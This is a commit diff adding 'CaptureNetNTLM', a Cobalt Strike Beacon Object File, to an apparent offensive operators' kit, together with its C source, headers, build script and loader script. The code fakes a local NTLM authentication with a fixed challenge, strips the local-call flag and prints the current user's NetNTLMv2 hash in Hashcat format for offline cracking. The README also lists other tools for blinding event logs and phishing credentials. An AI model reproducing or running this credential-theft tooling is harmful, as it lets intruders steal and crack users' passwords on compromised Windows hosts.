Parcourir la source

New tool upate

unknown il y a 2 ans
Parent
commit
31e8117c71

+ 17 - 0
KIT/CaptureNetNTLM/README.md

@@ -0,0 +1,17 @@
+# CaptureNetNTLM
+Capture the NetNTLMv2 hash of the current user. This is done by simulating a NTLM authentication exchange between a client and server to captures the NetNTLMv2 hash.
+
+
+## Usage
+* `capturenetntlm`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+
+
+## Credits
+The code in this BOF is heaviliy based on the [GetNTLMChallenge](https://github.com/leechristensen/GetNTLMChallenge/tree/master) project from Lee Christensen. 

+ 69 - 0
KIT/CaptureNetNTLM/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/CaptureNetNTLM/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc capturenetntlm.c
+move /y capturenetntlm.obj capturenetntlm.o
+
+

+ 410 - 0
KIT/CaptureNetNTLM/capturenetntlm.c

@@ -0,0 +1,410 @@
+#include <windows.h>
+#include <stdio.h>
+#include <tchar.h>
+#define SECURITY_WIN32
+#include <Security.h>
+#include <Wincrypt.h>
+#include "capturenetntlm.h"
+#include "beacon.h"
+
+#pragma comment(lib,"Secur32")
+
+#define MSV1_0_CHALLENGE_LENGTH 8
+
+//
+//Most of the code originates from: https://github.com/leechristensen/GetNTLMChallenge/tree/master
+//
+
+typedef enum {
+	NtLmNegotiate = 1,
+	NtLmChallenge,
+	NtLmAuthenticate,
+	NtLmUnknown
+} NTLM_MESSAGE_TYPE;
+
+typedef struct _STRING32 {
+	USHORT Length;
+	USHORT MaximumLength;
+	DWORD  Offset;
+} STRING32, *PSTRING32;
+
+// Valid values of NegotiateFlags
+#define NTLMSSP_NEGOTIATE_UNICODE               0x00000001
+#define NTLMSSP_NEGOTIATE_OEM                   0x00000002  
+#define NTLMSSP_REQUEST_TARGET                  0x00000004  
+#define NTLMSSP_NEGOTIATE_SIGN                  0x00000010  
+#define NTLMSSP_NEGOTIATE_SEAL                  0x00000020  
+#define NTLMSSP_NEGOTIATE_DATAGRAM              0x00000040  
+#define NTLMSSP_NEGOTIATE_NTLM                  0x00000200  
+#define NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED       0x1000 
+#define NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED  0x2000  
+#define NTLMSSP_NEGOTIATE_LOCAL_CALL            0x00004000  
+#define NTLMSSP_NEGOTIATE_ALWAYS_SIGN           0x00008000  
+
+// Valid target types returned by the server in Negotiate Flags
+#define NTLMSSP_TARGET_TYPE_DOMAIN              0x00010000 
+#define NTLMSSP_TARGET_TYPE_SERVER              0x00020000  
+#define NTLMSSP_TARGET_TYPE_SHARE               0x00040000  
+#define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY   0x00080000  
+#define NTLMSSP_NEGOTIATE_IDENTIFY              0x00100000  
+
+// Valid requests for additional output buffers
+#define NTLMSSP_REQUEST_ACCEPT_RESPONSE         0x00200000 
+#define NTLMSSP_REQUEST_NON_NT_SESSION_KEY      0x00400000  
+#define NTLMSSP_NEGOTIATE_TARGET_INFO           0x00800000 
+#define NTLMSSP_NEGOTIATE_EXPORTED_CONTEXT      0x01000000 
+#define NTLMSSP_NEGOTIATE_VERSION               0x02000000  
+#define NTLMSSP_NEGOTIATE_128                   0x20000000 
+#define NTLMSSP_NEGOTIATE_KEY_EXCH              0x40000000 
+#define NTLMSSP_NEGOTIATE_56                    0x80000000
+
+// flags used in client space to control sign and seal; never appear on the wire
+#define NTLMSSP_APP_SEQ           0x0040  
+
+#define MsvAvEOL                  0x0000
+#define MsvAvNbComputerName       0x0001
+#define MsvAvNbDomainName         0x0002
+#define MsvAvNbDnsComputerName    0x0003
+#define MsvAvNbDnsDomainName      0x0004
+#define MsvAvNbDnsTreeName        0x0005
+#define MsvAvFlags                0x0006
+#define MsvAvTimestamp            0x0007
+#define MsvAvRestrictions         0x0008
+#define MsvAvTargetName           0x0009
+#define MsvAvChannelBindings      0x000A
+
+
+typedef struct _NTLM_VERSION {
+	BYTE ProductMajorVersion;
+	BYTE ProductMinorVersion;
+	USHORT ProductBuild;
+	BYTE reserved[3];
+	BYTE NTLMRevisionCurrent;
+} NTLM_VERSION, *PNTLM_VERSION;
+
+typedef struct _NTLMv2_CLIENT_CHALLENGE {
+	BYTE RespType;
+	BYTE HiRespType;
+	USHORT Reserved1;
+	DWORD Reserved2;
+	ULONGLONG TimeStamp;
+	BYTE ChallengeFromClient[8];
+	DWORD Reserved3;
+	BYTE AvPair[4];
+} NTLMv2_CLIENT_CHALLENGE, *PNTLMv2_CLIENT_CHALLENGE;
+
+typedef struct _NTLMv2_RESPONSE {
+	BYTE Response[16];
+	NTLMv2_CLIENT_CHALLENGE Challenge;
+} NTLMv2_RESPONSE, *PNTLMv2_RESPONSE;
+
+typedef struct _NEGOTIATE_MESSAGE {
+	UCHAR Signature[8];
+	DWORD MessageType;
+	DWORD NegotiateFlags;
+	STRING32 OemDomainName;
+	STRING32 OemWorkstationName;
+} NEGOTIATE_MESSAGE, *PNEGOTIATE_MESSAGE;
+
+typedef struct _NEGOTIATE_MESSAGE_WITH_VERSION {
+	UCHAR Signature[8];
+	DWORD MessageType;
+	DWORD NegotiateFlags;
+	STRING32 OemDomainName;
+	STRING32 OemWorkstationName;
+	NTLM_VERSION Version;
+} NEGOTIATE_MESSAGE_WITH_VERSION, *PNEGOTIATE_MESSAGE_WITH_VERSION;
+
+typedef struct _CHALLENGE_MESSAGE {
+	UCHAR Signature[8];
+	DWORD MessageType;
+	STRING32 TargetName;
+	DWORD NegotiateFlags;
+	UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH];
+	ULONG64 ServerContextHandle;
+	STRING32 TargetInfo;
+} CHALLENGE_MESSAGE, *PCHALLENGE_MESSAGE;
+
+typedef struct _CHALLENGE_MESSAGE_WITH_VERSION {
+	UCHAR Signature[8];
+	DWORD MessageType;
+	STRING32 TargetName;
+	DWORD NegotiateFlags;
+	UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH];
+	ULONG64 ServerContextHandle;
+	STRING32 TargetInfo;
+	NTLM_VERSION Version;
+} CHALLENGE_MESSAGE_WITH_VERSION, *PCHALLENGE_MESSAGE_WITH_VERSION;
+
+typedef struct _AUTHENTICATE_MESSAGE {
+	UCHAR Signature[8];
+	DWORD MessageType;
+	STRING32 LmChallengeResponse;
+	STRING32 NtChallengeResponse;
+	STRING32 DomainName;
+	STRING32 UserName;
+	STRING32 Workstation;
+	STRING32 SessionKey;
+	DWORD NegotiateFlags;
+} AUTHENTICATE_MESSAGE, *PAUTHENTICATE_MESSAGE;
+
+typedef struct _RESTRICTIONS_ENCODING {
+	DWORD dwSize;
+	DWORD dwReserved;
+	DWORD dwIntegrityLevel;
+	DWORD dwSubjectIntegrityLevel;
+	BYTE MachineId[32];
+} RESTRICTIONS_ENCODING, *PRESTRICTIONS_ENCODING;
+
+typedef LONG NTSTATUS;
+typedef struct _UNICODE_STRING {
+	USHORT Length;
+	USHORT MaximumLength;
+	PWSTR Buffer;
+} UNICODE_STRING, *PUNICODE_STRING;
+
+typedef struct _KEY_BLOB {
+	BYTE   bType;
+	BYTE   bVersion;
+	WORD   reserved;
+	ALG_ID aiKeyAlg;
+	ULONG keysize;
+	BYTE Data[16];
+} KEY_BLOB;
+
+NTSTATUS WINAPI SystemFunction007(PUNICODE_STRING string, LPBYTE hash);
+
+
+//START beacon print function. Code originates from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); 
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+	return;
+}
+//END beacon print function
+
+
+void SetPredefinedChallenge(UCHAR challenge[MSV1_0_CHALLENGE_LENGTH]) {
+    const UCHAR predefinedChallenge[] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
+    MSVCRT$memcpy(challenge, predefinedChallenge, MSV1_0_CHALLENGE_LENGTH);
+}
+
+
+BOOL GetNTLMChallengeAndResponse() {
+	WCHAR szDomainName[256 + 1] = L"";
+	WCHAR szUserName[256 + 1] = L"";
+	wchar_t ntlmsp_name[] = L"NTLM";
+	UCHAR bServerChallenge[MSV1_0_CHALLENGE_LENGTH];
+	PNTLMv2_RESPONSE pNtChallengeResponse = NULL;
+	PNTLMv2_CLIENT_CHALLENGE pClientChallenge = NULL;
+	DWORD dwClientChallengeSize = 0;
+
+	CredHandle hInboundCred;
+	CredHandle hOutboundCred;
+	TimeStamp InboundLifetime;
+	TimeStamp OutboundLifetime;
+
+	DWORD status = SECUR32$AcquireCredentialsHandleW(NULL, ntlmsp_name, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hOutboundCred, &OutboundLifetime);
+
+	if (status != 0)
+		return FALSE;
+
+	status = SECUR32$AcquireCredentialsHandleW(NULL, ntlmsp_name, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hInboundCred, &InboundLifetime);
+
+	if (status != 0)
+		return FALSE;
+
+	SecBufferDesc OutboundNegotiateBuffDesc;
+	SecBuffer NegotiateSecBuff;
+	OutboundNegotiateBuffDesc.ulVersion = 0;
+	OutboundNegotiateBuffDesc.cBuffers = 1;
+	OutboundNegotiateBuffDesc.pBuffers = &NegotiateSecBuff;
+
+	NegotiateSecBuff.cbBuffer = 0;
+	NegotiateSecBuff.BufferType = SECBUFFER_TOKEN;
+	NegotiateSecBuff.pvBuffer = NULL;
+
+	SecBufferDesc OutboundChallengeBuffDesc;
+	SecBuffer ChallengeSecBuff;
+	OutboundChallengeBuffDesc.ulVersion = 0;
+	OutboundChallengeBuffDesc.cBuffers = 1;
+	OutboundChallengeBuffDesc.pBuffers = &ChallengeSecBuff;
+
+	ChallengeSecBuff.cbBuffer = 0;
+	ChallengeSecBuff.BufferType = SECBUFFER_TOKEN;
+	ChallengeSecBuff.pvBuffer = NULL;
+
+	SecBufferDesc OutboundAuthenticateBuffDesc;
+	SecBuffer AuthenticateSecBuff;
+	OutboundAuthenticateBuffDesc.ulVersion = 0;
+	OutboundAuthenticateBuffDesc.cBuffers = 1;
+	OutboundAuthenticateBuffDesc.pBuffers = &AuthenticateSecBuff;
+
+	AuthenticateSecBuff.cbBuffer = 0;
+	AuthenticateSecBuff.BufferType = SECBUFFER_TOKEN;
+	AuthenticateSecBuff.pvBuffer = NULL;
+
+	CtxtHandle OutboundContextHandle = { 0 };
+	ULONG OutboundContextAttributes = 0;
+	CtxtHandle ClientContextHandle = { 0 };
+	ULONG InboundContextAttributes = 0;
+
+	// Setup the client security context
+	status = SECUR32$InitializeSecurityContextW(&hOutboundCred, NULL, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, NULL, 0, &OutboundContextHandle, &OutboundNegotiateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
+	if (status != SEC_I_CONTINUE_NEEDED) return FALSE;
+
+	NEGOTIATE_MESSAGE* negotiate = (NEGOTIATE_MESSAGE*)OutboundNegotiateBuffDesc.pBuffers[0].pvBuffer;
+
+	status = SECUR32$AcceptSecurityContext(&hInboundCred, NULL, &OutboundNegotiateBuffDesc, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, SECURITY_NATIVE_DREP, &ClientContextHandle, &OutboundChallengeBuffDesc, &InboundContextAttributes, &InboundLifetime);
+	if (status != SEC_I_CONTINUE_NEEDED) return FALSE;
+
+	// client
+	CHALLENGE_MESSAGE* challenge = (CHALLENGE_MESSAGE*)OutboundChallengeBuffDesc.pBuffers[0].pvBuffer;
+	
+	// Set the predefined challenge instead of the random one
+	SetPredefinedChallenge(challenge->Challenge);
+
+	// when local call, windows remove the ntlm response
+	challenge->NegotiateFlags &= ~NTLMSSP_NEGOTIATE_LOCAL_CALL;
+
+	status = SECUR32$InitializeSecurityContextW(&hOutboundCred, &OutboundContextHandle, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, &OutboundChallengeBuffDesc, 0, &OutboundContextHandle, &OutboundAuthenticateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
+	if (status != 0) return FALSE;
+
+	AUTHENTICATE_MESSAGE* authenticate = (AUTHENTICATE_MESSAGE*)OutboundAuthenticateBuffDesc.pBuffers[0].pvBuffer;
+
+	// Get domain name
+	MSVCRT$memcpy(szDomainName, ((PBYTE)authenticate + authenticate->DomainName.Offset), authenticate->DomainName.Length);
+	szDomainName[authenticate->DomainName.Length / 2] = 0;
+
+	// Get username
+	MSVCRT$memcpy(szUserName, ((PBYTE)authenticate + authenticate->UserName.Offset), authenticate->UserName.Length);
+	szUserName[authenticate->UserName.Length / 2] = 0;
+
+	// Get the Server challenge
+	MSVCRT$memcpy(bServerChallenge, challenge->Challenge, MSV1_0_CHALLENGE_LENGTH);
+
+	// Get the Challenge response
+	pNtChallengeResponse = (PNTLMv2_RESPONSE)((ULONG_PTR)authenticate + authenticate->NtChallengeResponse.Offset);
+
+	pClientChallenge = &(pNtChallengeResponse->Challenge);
+	dwClientChallengeSize = authenticate->NtChallengeResponse.Length - 16;
+
+	// Print output in Hashcat Format: username:domain:ServerChallenge:response:blob
+	BeaconPrintToStreamW(L"[+] Successful NetNTLMv2 hash capture:\n");
+	BeaconPrintToStreamW(L"========================================\n\n");
+	BeaconPrintToStreamW(L"%s::%s:", szUserName, szDomainName);
+
+	// ServerChallenge
+	for (int i = 0; i < sizeof(bServerChallenge); i++) {
+		BeaconPrintToStreamW(L"%02x", bServerChallenge[i]);
+	}
+	BeaconPrintToStreamW(L":");
+
+	// response
+	for (int i = 0; i < sizeof(pNtChallengeResponse->Response); i++) {
+		BeaconPrintToStreamW(L"%02x", pNtChallengeResponse->Response[i]);
+	}
+	BeaconPrintToStreamW(L":");
+
+	// blob
+	for (DWORD i = 0; i < dwClientChallengeSize; i++) {
+		BeaconPrintToStreamW(L"%02x", *((PBYTE)(&(pNtChallengeResponse->Challenge)) + i));  // 16 
+	}
+	BeaconPrintToStreamW(L"\n");
+
+	return TRUE;
+}
+
+
+int go() {
+	BOOL result = GetNTLMChallengeAndResponse();
+	
+	if (result) {
+		BeaconOutputStreamW();
+    } else {
+        BeaconPrintf(CALLBACK_OUTPUT,"\n[-] Failed to capture NetNTLM hash.\n");
+    }
+	
+	return 0;
+}

+ 18 - 0
KIT/CaptureNetNTLM/capturenetntlm.cna

@@ -0,0 +1,18 @@
+# author REDMED-X
+
+beacon_command_register(
+	"capturenetntlm", "Capture the NetNTLMv2 hash of the current user.",
+	"INFO:\nCapture the NetNTLMv2 hash of the current user. This is done by simulating a NTLM authentication exchange between a client and server to captures the NetNTLMv2 hash.\n\n" .
+	"USAGE:\ncapturenetntlm\n\n");
+	
+alias capturenetntlm {
+    $bid = $1;
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("capturenetntlm.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	blog($bid, "Tasked to capture the current user's NetNTLMv2 hash..");
+    beacon_inline_execute($bid, $data, "go", $null);
+}

+ 26 - 0
KIT/CaptureNetNTLM/capturenetntlm.h

@@ -0,0 +1,26 @@
+#include <windows.h>  
+
+//GetNTLMChallengeAndResponse
+DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* _Dst, const void* _Src, size_t _Size);
+DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleW(SEC_WCHAR* pszPrincipal, SEC_WCHAR* pszPackage, ULONG fCredentialUse, PLUID pvLogonID, PVOID pAuthData, SEC_GET_KEY_FN pGetKeyFn, PVOID pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);
+DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextW(PCredHandle phCredential, PCtxtHandle phContext, SEC_WCHAR* pszTargetName, ULONG fContextReq, ULONG Reserved1, ULONG TargetDataRep, PSecBufferDesc pInput, ULONG Reserved2, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry);
+DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcceptSecurityContext(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+

BIN
KIT/CaptureNetNTLM/capturenetntlm.o


+ 1 - 0
README.md

@@ -9,6 +9,7 @@ The following tools are currently in the operators' kit:
 |**[AddLocalCert](KIT/AddLocalCert)**|Add a (self signed) certificate to a specific local computer certificate store.|
 |**[AddTaskScheduler](KIT/AddTaskScheduler)**|Create a scheduled task on the current- or remote host.|
 |**[BlindEventlog](KIT/BlindEventlog)**|Blind Eventlog by suspending its threads.|
+|**[CaptureNetNTLM](KIT/CaptureNetNTLM)**|Capture the NetNTLMv2 hash of the current user.|
 |**[CredPrompt](KIT/CredPrompt)**|Start persistent credential prompt in an attempt to capture user credentials.|
 |**[DelLocalCert](KIT/DelLocalCert)**|Delete a local computer certificate from a specific store.|
 |**[DelTaskScheduler](KIT/DelTaskScheduler)**|Delete a scheduled task on the current- or a remote host.|